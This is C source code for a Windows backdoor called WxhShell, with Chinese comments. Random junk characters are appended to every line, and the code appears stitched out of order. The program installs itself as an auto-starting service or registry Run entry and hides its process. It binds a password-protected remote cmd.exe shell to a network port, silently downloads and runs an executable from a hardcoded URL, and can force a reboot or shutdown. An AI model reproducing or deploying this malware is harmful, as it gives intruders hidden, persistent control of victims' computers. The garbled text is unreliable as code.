    if(Boot(SHUTDOWN)) 9r efv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k\NwH?ppu  
    else { mbS`+)1=l  
    closesocket(wsh); q9^6A90  
    ExitThread(0); JJ+A+sfdk  
    } y;r{0lTB  
    break; `> :^c  
    } \D<w:\P  
  // 获取shell a  St  
  case 's': { ]c=nkS  
    CmdShell(wsh); "3r7/>xy  
    closesocket(wsh); QR#L1+Hn  
    ExitThread(0); ,ezC}V0M  
    break; RM(MCle}  
  } j mH=W)  
  // 退出 U =G}@Y  
  case 'x': { ?C6DK{S(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^F e %1Lnt  
    CloseIt(wsh); v RR(b!Lq  
    break; V(^aG=TaW:  
    } : CR1Oy9  
  // 离开 6 #vc"5@M  
  case 'q': { !go$J]T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); + bU*"5"  
    closesocket(wsh); 'WC> _ L  
    WSACleanup(); VxKD>:3c  
    exit(1); keMfK ]9  
    break; yt@;yd:OEk  
        } 6~rO(  
  } X S&oW  
  } c2,;t)%@E  
H/I1n\  
  // 提示信息 @|i f^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0YApaL+jt  
} 8do7`mN  
  } P> wDr`*  
/KCJ)0UU  
  return; fEMz%CwH  
} 3%NbT  
H ({Y  
// shell模块句柄 z/Kjz$l!  
int CmdShell(SOCKET sock) L4x08 e  
{ dZ"B6L!^(  
STARTUPINFO si; c'XvZNf .C  
ZeroMemory(&si,sizeof(si)); @'ln)RT,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T]fBVA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Shm$>\~=  
PROCESS_INFORMATION ProcessInfo; "+@>!U  
char cmdline[]="cmd"; iYE7BUH=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z6F^p8O-  
  return 0; D rMG{Yiu  
} }iZ>Gm '5  
s&gzv=v  
// 自身启动模式 2GB+st,  
int StartFromService(void) Vo; B#lK  
{ p`CVq`k  
typedef struct B/n/bi8T  
{ P\3$Y-id  
  DWORD ExitStatus; 9_07?`Jr  
  DWORD PebBaseAddress; CB1AL]|3  
  DWORD AffinityMask; L( B(x>w  
  DWORD BasePriority; (oiF05n h  
  ULONG UniqueProcessId; i=ztWKwKf  
  ULONG InheritedFromUniqueProcessId; t]QGyW A]  
}   PROCESS_BASIC_INFORMATION; K~MTbdg  
.Y^UPxf@  
PROCNTQSIP NtQueryInformationProcess; YcQ3 :i  
'(4#He?Gd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D{J+}*y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v)VhR2d3  
</%n:<z4  
  HANDLE             hProcess; !K~L&.\T  
  PROCESS_BASIC_INFORMATION pbi; `H7V['  
4NN81~v 4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eLd7|*|  
  if(NULL == hInst ) return 0; 4YmN3i  
R DAihq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `"#0\Wh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zq?Iwyo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;Bs^+R7  
NETji:d  
  if (!NtQueryInformationProcess) return 0; (K}Md~  
qOi3`6LCV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); } XJZw|n  
  if(!hProcess) return 0; \i +=tGY  
Mb2rHUr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jcuC2t  
~:|qdv%\  
  CloseHandle(hProcess); u>cU*E4/  
AVx 0aj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G.}Ex!8R7_  
if(hProcess==NULL) return 0; qU/,&C  
sY#iGEf  
HMODULE hMod; :M%s:,]R  
char procName[255]; S[_Hc$7U  
unsigned long cbNeeded; 'B$ bGQ  
vcsMU|GGh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @6~OQN  
T 5jZd@VT,  
  CloseHandle(hProcess); qZ8 V/  
yzml4/X  
if(strstr(procName,"services")) return 1; // 以服务启动 o (OC3  
| gou#zi  
  return 0; // 注册表启动 7T)J{:+0!|  
} f7Dx.-  
q%/ciPgE  
// 主模块 g3i !>  
int StartWxhshell(LPSTR lpCmdLine) IIW6;jS  
{ 1 ^k#g,  
  SOCKET wsl; ;h }^f-  
BOOL val=TRUE; -XSu;'4q  
  int port=0; 09RJc3XE9  
  struct sockaddr_in door; z+J4XpX0,  
j+p=ik  
  if(wscfg.ws_autoins) Install(); =}G `i**  
j(8I+||  
port=atoi(lpCmdLine); 05+uBwH  
0k];%HV|  
if(port<=0) port=wscfg.ws_port; W9$mgs=S`E  
wkp|V{k  
  WSADATA data; fR4O^6c:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <^Hh5kfS'  
>#MGGCGL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   - /s2'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L'>t:^QTh  
  door.sin_family = AF_INET; p4|Zz:f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '$cU\DTN6  
  door.sin_port = htons(port); /y \KLa  
Ff\U]g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3j2% '$>E^  
closesocket(wsl); mxpncM=q  
return 1; ZA;wv+hF=  
} )I`6XG  
o~Im5j],*  
  if(listen(wsl,2) == INVALID_SOCKET) { mh4NZ @;  
closesocket(wsl); T]5JsrT  
return 1; W .c:Pulg  
} /FZ@Z]Q0G  
  Wxhshell(wsl); z]NN ^pIa  
  WSACleanup(); y3 {om^ f  
Ve4!MM@ti  
return 0; LZ@4,Uj  
\mt0mv;c  
} d45JT?qg&  
?1I0VA']  
// 以NT服务方式启动 R ks3L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h4xRRyK  
{ IEB|Y  
DWORD   status = 0; O?ZCX_R:L  
  DWORD   specificError = 0xfffffff; k^pf)*p  
=9oN#4mWK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s -Mzl?o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dl3Df u8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~6nq$(#  
  serviceStatus.dwWin32ExitCode     = 0; ]i=\5FH e  
  serviceStatus.dwServiceSpecificExitCode = 0; kpkN GQ2  
  serviceStatus.dwCheckPoint       = 0; az(u=}  
  serviceStatus.dwWaitHint       = 0; <%(nF+rQA"  
F:8cd^d~u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &}1PH% 6  
  if (hServiceStatusHandle==0) return; Xm7Nr#  
& >AXB6  
status = GetLastError(); ;b[% L&  
  if (status!=NO_ERROR) Ny;(1N|&3  
{ &b 2Vt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (~r"N?`  
    serviceStatus.dwCheckPoint       = 0; %} _{_Z  
    serviceStatus.dwWaitHint       = 0; o0>z6Ya<  
    serviceStatus.dwWin32ExitCode     = status; uC>X;<^   
    serviceStatus.dwServiceSpecificExitCode = specificError; 5]WpH0kzO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^n|u$gIF8  
    return; _RFTm.9&  
  } i0($@6Lh  
T(<C8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (R*K)(Nw[  
  serviceStatus.dwCheckPoint       = 0; 3wEVjT-  
  serviceStatus.dwWaitHint       = 0; #:v e3gWl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -*sDa6L  
} Ojx1IL  
^/wvHu[#  
// 处理NT服务事件,比如:启动、停止 Cwxy ~.mI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n lsQf3  
{ s|U=_,.  
switch(fdwControl) 21$YZlhJ  
{ ,X&lVv#  
case SERVICE_CONTROL_STOP: ?qviJDD|f  
  serviceStatus.dwWin32ExitCode = 0; pJ6Z/3]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a;Q6S  
  serviceStatus.dwCheckPoint   = 0; -<gGNj.x-  
  serviceStatus.dwWaitHint     = 0; |0?h6  
  { R=IZFwr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Cdrjx  
  } slV+2b  
  return; n"dC]&G'  
case SERVICE_CONTROL_PAUSE: ^D(N_va<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,C88%k  
  break; 3,8>\yf`  
case SERVICE_CONTROL_CONTINUE: 5MH\Gq e7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^+zF;Q'  
  break;  _2VL%  
case SERVICE_CONTROL_INTERROGATE: Si#b"ls'  
  break; (~P b,Q  
}; |?CR|xqT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !M&L<0b:7e  
} cn$E?&-  
\4q% n  
// 标准应用程序主函数 (yv&&Jc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (^'TT>2B  
{ RLN>*X  
Gb6t`dSzz  
// 获取操作系统版本 }g:y!p k  
OsIsNt=GetOsVer(); ST3aiyG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gG0P &9xz  
Kc+;"4/#q  
  // 从命令行安装 K.?~@5%  
  if(strpbrk(lpCmdLine,"iI")) Install(); ve2GRTO^aC  
n$Z@7r  
  // 下载执行文件 s+>VqyHgf  
if(wscfg.ws_downexe) { U+t|wK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )6#dxb9  
  WinExec(wscfg.ws_filenam,SW_HIDE); e%w>QN`  
} ~y%8uHL:  
KH)(xB=  
if(!OsIsNt) { XUmL8  
// 如果时win9x,隐藏进程并且设置为注册表启动 klduJ T >  
HideProc(); xQX,1NbH5  
StartWxhshell(lpCmdLine); ~9JU_R^%m  
} 6D,xs}j1  
else r3oAP[+n  
  if(StartFromService()) Qi' ,[Xmf  
  // 以服务方式启动 3A%/H`  
  StartServiceCtrlDispatcher(DispatchTable); `#&pB0.y  
else .7TQae%  
  // 普通方式启动 `Q V}je  
  StartWxhshell(lpCmdLine); h_ef@ZwSw  
TJ3CXyRq  
return 0; o0b}:`  
} Yhl {'  
3Xgf=yG:M  
?y82S*sb#  
PDaHY  
=========================================== 6'UtB!gr  
l/,O9ur-  
U`_(Lq%5W  
N!>Gg|@~  
F23/|q{{  
ooY2"\o  
" TQDb\d8,f  
[H-,zY  
#include <stdio.h> 1\:puC\)  
#include <string.h> R{.5Z/Vp6E  
#include <windows.h> R9Wh/@J]  
#include <winsock2.h> e0%?;w-TL  
#include <winsvc.h> _Z'j%/-4@D  
#include <urlmon.h> OI"vC1.5  
/gZrnd?  
#pragma comment (lib, "Ws2_32.lib") Qhb].V{utV  
#pragma comment (lib, "urlmon.lib") 0UeDM*  
$e#p -z  
#define MAX_USER   100 // 最大客户端连接数 l\7NR  
#define BUF_SOCK   200 // sock buffer '+ 1<7jl&I  
#define KEY_BUFF   255 // 输入 buffer s0"S;{_#  
',k0 _n?t  
#define REBOOT     0   // 重启 K*Y.mM)  
#define SHUTDOWN   1   // 关机 :nYl]Rm  
}R:eKj  
#define DEF_PORT   5000 // 监听端口 ^& ZlV  
ab8uY.j  
#define REG_LEN     16   // 注册表键长度 } 5i0R  
#define SVC_LEN     80   // NT服务名长度 BX&bhWYGFX  
; mF-y,E  
// 从dll定义API dxbP'2~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YXxaD@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _7>$'V{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2%"2~d7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }Z*@EWc>  
+L1%mVq]y  
// wxhshell配置信息 I#QBJ#  
struct WSCFG { hW[/{2<@  
  int ws_port;         // 监听端口 i8pM,Ppi~  
  char ws_passstr[REG_LEN]; // 口令 O1IR+"0  
  int ws_autoins;       // 安装标记, 1=yes 0=no =M^4T?{T  
  char ws_regname[REG_LEN]; // 注册表键名 BuMBnbT  
  char ws_svcname[REG_LEN]; // 服务名 tbD>A6&VM}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +h^>?U,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #y13(u,dN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S(Md  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !qPVC\l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cw]& B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {LfVV5?  
4VINu9\V  
}; mw)KyU#l,:  
F2!C^r,~L  
// default Wxhshell configuration !K^.r_0H.  
struct WSCFG wscfg={DEF_PORT, IBWUXG;  
    "xuhuanlingzhe", _2+}_ >d  
    1, & .VciSq6  
    "Wxhshell", o5KpiibFM  
    "Wxhshell", XL>v$7`#  
            "WxhShell Service", I*_@WoI*  
    "Wrsky Windows CmdShell Service", ^l|{*oj2  
    "Please Input Your Password: ", WCT}OiLsL  
  1, /n;-f%dL  
  "http://www.wrsky.com/wxhshell.exe", bI.LE/yk  
  "Wxhshell.exe" K5gh7  
    }; ^T`)ltI]V  
Xwy0dXko  
// 消息定义模块 1 zIFQ@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VAf"B5 R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?}"$[6.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YL \d2  
char *msg_ws_ext="\n\rExit."; W]MKc&R  
char *msg_ws_end="\n\rQuit.";  f.acH]p  
char *msg_ws_boot="\n\rReboot..."; KB49~7XjQ@  
char *msg_ws_poff="\n\rShutdown..."; OcQ>01Q  
char *msg_ws_down="\n\rSave to "; f<WP< !N%  
aP^,@RrL  
char *msg_ws_err="\n\rErr!"; i-[ic!RnKj  
char *msg_ws_ok="\n\rOK!"; >2l1t}"\  
5Z/xY &  
char ExeFile[MAX_PATH]; 89T xd9X  
int nUser = 0; /tI8JXcUK  
HANDLE handles[MAX_USER]; O@r%G0Jge  
int OsIsNt; UN#XP$utY  
~pA_E!3W  
SERVICE_STATUS       serviceStatus; lPyGL-Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .&dW?HS  
oLK-~[p  
// 函数声明 f tW-  
int Install(void); )8]O|Z-CU  
int Uninstall(void); ]vRte!QJ;  
int DownloadFile(char *sURL, SOCKET wsh); d2sY.L  
int Boot(int flag); {/`iZzPg  
void HideProc(void); I$!rNfrs  
int GetOsVer(void); zhtNL_  
int Wxhshell(SOCKET wsl); a;JB8  
void TalkWithClient(void *cs); (A(7?eq  
int CmdShell(SOCKET sock); p>Dv&fX  
int StartFromService(void); y<(q<V#0!S  
int StartWxhshell(LPSTR lpCmdLine); !gA<9h  
*YmR7g|k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sFv68Ag+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qYFOHu  
0dxEV]  
// 数据结构和表定义 dPplZ,Y%  
SERVICE_TABLE_ENTRY DispatchTable[] = &}:'YK*X  
{ \'Oi0qo>  
{wscfg.ws_svcname, NTServiceMain}, ZHT_o\  
{NULL, NULL} m  "'  
}; /H.w0fu&.S  
94 58.!3  
// 自我安装 %+gYZv-  
int Install(void) =Hplg>h)  
{ i]&C=X  
  char svExeFile[MAX_PATH]; ! J`>;&  
  HKEY key; &nkYJi(!  
  strcpy(svExeFile,ExeFile); Qgx9JJ>  
9IJBK  
// 如果是win9x系统,修改注册表设为自启动 Vg'vL[Y  
if(!OsIsNt) { iJ n<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F]]1>w*/0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D^qto{!  
  RegCloseKey(key); n{sF'n</  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SQ%B"1&$D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,aOi:aaZRT  
  RegCloseKey(key); j"6r]nc&  
  return 0; o %GVg  
    } 8,iBG! RF  
  } &Omo\Oq&W>  
} lz2B,#  
else { 3z7SK Gy  
nvY3$ Ty  
// 如果是NT以上系统,安装为系统服务 Tbf't^Ot$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y,BzBUWK  
if (schSCManager!=0) "B`k  
{ o 4G%m>$  
  SC_HANDLE schService = CreateService _9yb5_  
  (  v?Dc3  
  schSCManager, FYPv:k   
  wscfg.ws_svcname, dr3j<D-Q  
  wscfg.ws_svcdisp, cmG*"  
  SERVICE_ALL_ACCESS, v2=Iqo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }j<:hD QP  
  SERVICE_AUTO_START, y4sKe:@2  
  SERVICE_ERROR_NORMAL, nE.w  
  svExeFile, 4WCWu}  
  NULL, dH:z _$Mg  
  NULL, yOR]r+8  
  NULL, [7x,&  
  NULL, #dy z  
  NULL ED0\k $  
  ); "#zSk=52z  
  if (schService!=0) y!_*CYZ~m  
  { S,ZlS<Z#  
  CloseServiceHandle(schService); MLD1%* &0  
  CloseServiceHandle(schSCManager); I`hltJM'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s Dq{h  
  strcat(svExeFile,wscfg.ws_svcname); 7{jB!Xj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2to~=/.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |2RoDW  
  RegCloseKey(key); ~,#zdm1r@  
  return 0; l0Rjq*5hJ  
    } y04md A6<  
  } dCq-&3?t  
  CloseServiceHandle(schSCManager); oDz%K?29%  
} K"Vo'9R[_  
} !O|d,)$q  
bloe|o!  
return 1; 2gP^+.  
} `^ FAD   
VpmwN`  
// 自我卸载 gbvM2  
int Uninstall(void) _0HCtx ;  
{ K]c|v i_D  
  HKEY key; scr`] tD  
pO]{Y?X:  
if(!OsIsNt) { %[3?vX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HC1jN8WDY  
  RegDeleteValue(key,wscfg.ws_regname); Ot,_=PP  
  RegCloseKey(key); R=Qa54  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nsf.wHGZ"J  
  RegDeleteValue(key,wscfg.ws_regname); }ACWSkWK  
  RegCloseKey(key); !9 7U2L4  
  return 0; $MW-c*5a  
  } j&6O 1  
} 2=R}u-@6p  
} W=QT-4  
else { S  ^5EG;[  
Ug}dw a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5&Y%N(  
if (schSCManager!=0) D,$!.5OA  
{ j%w}hGW%,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6?B'3~ r  
  if (schService!=0) K;uOtbdOK  
  { |[6jf!F  
  if(DeleteService(schService)!=0) { M:[rH  
  CloseServiceHandle(schService); }uZtAH|  
  CloseServiceHandle(schSCManager); }G{'Rb  
  return 0; `vbd7i  
  } MxXf.iX&  
  CloseServiceHandle(schService); +V2\hq[{  
  } n,,hE_  
  CloseServiceHandle(schSCManager); #.Q3}[M  
} 9^yf'9S1  
} |ZJ<J)y  
m!'moumL;  
return 1; v w.rkAGY  
} ZnrsJ1f:  
p?@R0]  
// 从指定url下载文件  5yA1<&z  
int DownloadFile(char *sURL, SOCKET wsh) 3EY>XS  
{ 30BFwNE  
  HRESULT hr; QaVxP1V#U  
char seps[]= "/";  !' }  
char *token; Fa"/p_1  
char *file; j<*  
char myURL[MAX_PATH]; c@|!0 U%j  
char myFILE[MAX_PATH]; O {hM  
!sTOo  
strcpy(myURL,sURL); W't?aj I|  
  token=strtok(myURL,seps); K^z u{`S  
  while(token!=NULL) DfPC@` k  
  { ?cyBF*o  
    file=token; b-/8R|Mem  
  token=strtok(NULL,seps); \OzPDN  
  } ,0pCc<  
 }q$6^y  
GetCurrentDirectory(MAX_PATH,myFILE); OuZPgN  
strcat(myFILE, "\\"); \]:}lVtxS  
strcat(myFILE, file); hXAgT!ZD  
  send(wsh,myFILE,strlen(myFILE),0); "d5nVO/  
send(wsh,"...",3,0); H\>0jr `  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rd )_*{  
  if(hr==S_OK) G5l?c@o  
return 0; uGoySt&;(  
else c }-AD r9  
return 1; 5%6{ ePh{  
V/t/uNm  
} z~m{'O`  
Q  *]d[  
// 系统电源模块 l* ap$1'  
int Boot(int flag) _L^(CFE  
{ 8*bEsc|  
  HANDLE hToken; /W|=Or2oR  
  TOKEN_PRIVILEGES tkp; <<SUIY@X  
vC [uEx:  
  if(OsIsNt) {  S6d&w6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qOqU CRUe:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xn%ty@8  
    tkp.PrivilegeCount = 1; H{d;, KfX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #9/^)^k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7]8nW!h;  
if(flag==REBOOT) { Y3 V9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7u=R5  
  return 0;  fOUW{s  
} -qJ%31Mr#  
else { :lfUVa{HN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mVs<XnA47  
  return 0; lSG"c+iV  
} sw\O\%^  
  } W5SCm(QS5  
  else { W"meH~[Cp  
if(flag==REBOOT) { Gi+ZI{)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W2`/z)[*>  
  return 0; yKhN1kY  
} 2=%R>&]*  
else { )IFFtU~,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) au;ZAXM|  
  return 0; (DnrJ.QU}t  
} 2?}5U)Hg  
} \RF{ITV$kD  
xb (Cd  
return 1; sX c|++  
} h>:eu#  
3UNmUDl[~  
// win9x进程隐藏模块 }o:sU^Pwa  
void HideProc(void) } \?]uNH  
{ 2R`dyg  
?= R C?K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2mt S\bAF  
  if ( hKernel != NULL ) MXP3Z N'  
  { + FG Xx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K;'s+ZD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *dpKo&y  
    FreeLibrary(hKernel); 1w$X;q"  
  } #*tWhXU  
{aoG60N  
return; L5RBe  
} #wS/QrRE  
U3tA"X.K  
// 获取操作系统版本 ~gi,ky^!  
int GetOsVer(void) &_o.:SL|  
{ tj1M1s|a  
  OSVERSIONINFO winfo; Nu[0X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &a9Y4~e::  
  GetVersionEx(&winfo); LD gGVl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RQ*oTsq  
  return 1; INF}~DN]  
  else !?aL_{7J  
  return 0; YcdT/  
} ',l}$]y5  
2_C&p6VGj  
// 客户端句柄模块 0ME.O +  
int Wxhshell(SOCKET wsl) OaF[t*]D3  
{ =8W'4MC  
  SOCKET wsh; =C4!h'hz  
  struct sockaddr_in client; C#oH7o+_.  
  DWORD myID; N6<G`k,  
@#1T-*  
  while(nUser<MAX_USER) ,1ceNF#oL  
{ 8h$f6JE  
  int nSize=sizeof(client); }HLV'^"k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TO]7%aB  
  if(wsh==INVALID_SOCKET) return 1; l}& &f8n  
zcCGR Ee=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oeA}b-Ct0  
if(handles[nUser]==0) Jf3xK"in  
  closesocket(wsh); <c_'(   
else SUaXm#9  
  nUser++; A[8vD</}_  
  } c 0.? d]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !McRtxq?~  
`Qxdb1>mjY  
  return 0; .?dYY;P  
} XM:Y(#?l  
qGhwbg  
// 关闭 socket ]s>y se  
void CloseIt(SOCKET wsh) K0-AP $  
{ m-AW}1:\f  
closesocket(wsh); a[hQ<@1O  
nUser--; 8=DZ;]XD.  
ExitThread(0); `CqF&b  
} LG:Mksd8=4  
CZ|h` ";P2  
// 客户端请求句柄 bU{lV<R,  
void TalkWithClient(void *cs) R$M>[Kjn  
{ th]pqhl>  
4H@K?b`  
  SOCKET wsh=(SOCKET)cs; g'<ekY+V:  
  char pwd[SVC_LEN]; jlb=]hp8%  
  char cmd[KEY_BUFF]; 0oNy  
char chr[1]; bVW2Tjc:  
int i,j; oBI@.&tG}  
>>R,P Ow-  
  while (nUser < MAX_USER) { 9 =zZ,dg  
0s o27k  
if(wscfg.ws_passstr) { t(r}jU=qw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k35E,?T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Tn97G7  
  //ZeroMemory(pwd,KEY_BUFF); tXW7G@  
      i=0; !v?WyGbUg  
  while(i<SVC_LEN) { |0s)aV|K  
XFJz\'{  
  // 设置超时 [l:}#5\]4  
  fd_set FdRead; n"|1A..^  
  struct timeval TimeOut; vfpK|=[7o  
  FD_ZERO(&FdRead); du_TiI  
  FD_SET(wsh,&FdRead); WEsX+okj  
  TimeOut.tv_sec=8; w)Wg 8  
  TimeOut.tv_usec=0; i_ z4;%#?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OiJz?G:m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f;cY&GC  
c7f11N!v>b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U#' WP  
  pwd=chr[0]; 0;n}{26a  
  if(chr[0]==0xd || chr[0]==0xa) { p{W'[A{J .  
  pwd=0; g$9EI\a  
  break; %Z!3[.%F  
  } V m]u-R`{  
  i++; A#x_>fV  
    } 6< @F  
MwO`DrV  
  // 如果是非法用户,关闭 socket G Q])y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E`gUNAKQ  
} Eq/oq\(/6  
Tt+E?C%Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gf^XqTLs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "|6763.{4  
{L.=)zt>  
while(1) { Ers8J V  
G{4lgkyy  
  ZeroMemory(cmd,KEY_BUFF); p?e-`xs  
C)qy=lx%  
      // 自动支持客户端 telnet标准   HqoCl  
  j=0; =, G^GMi'  
  while(j<KEY_BUFF) { L1u(\zw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vq-# %o  
  cmd[j]=chr[0]; CCp&+LRvR  
  if(chr[0]==0xa || chr[0]==0xd) { ql2O%B.6?  
  cmd[j]=0; *Fu;sR2y%:  
  break; wgFAPZr  
  } 29kR7[k  
  j++; w3Z;&sFd  
    } P{%R*hb]  
U?&&yynK  
  // 下载文件 U2HAIV8  
  if(strstr(cmd,"http://")) { (hn;C>B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q@5v> `  
  if(DownloadFile(cmd,wsh)) i2 7KuPjC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P^J#;{R  
  else D+('1E?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c!Wj^  
  } CA5q(ID_  
  else { rUWC=?Q  
'-NHu +  
    switch(cmd[0]) { 'Z 82+uU%  
  Vk?US&1q}  
  // 帮助 IZ 3e:  
  case '?': { zelM}/d  
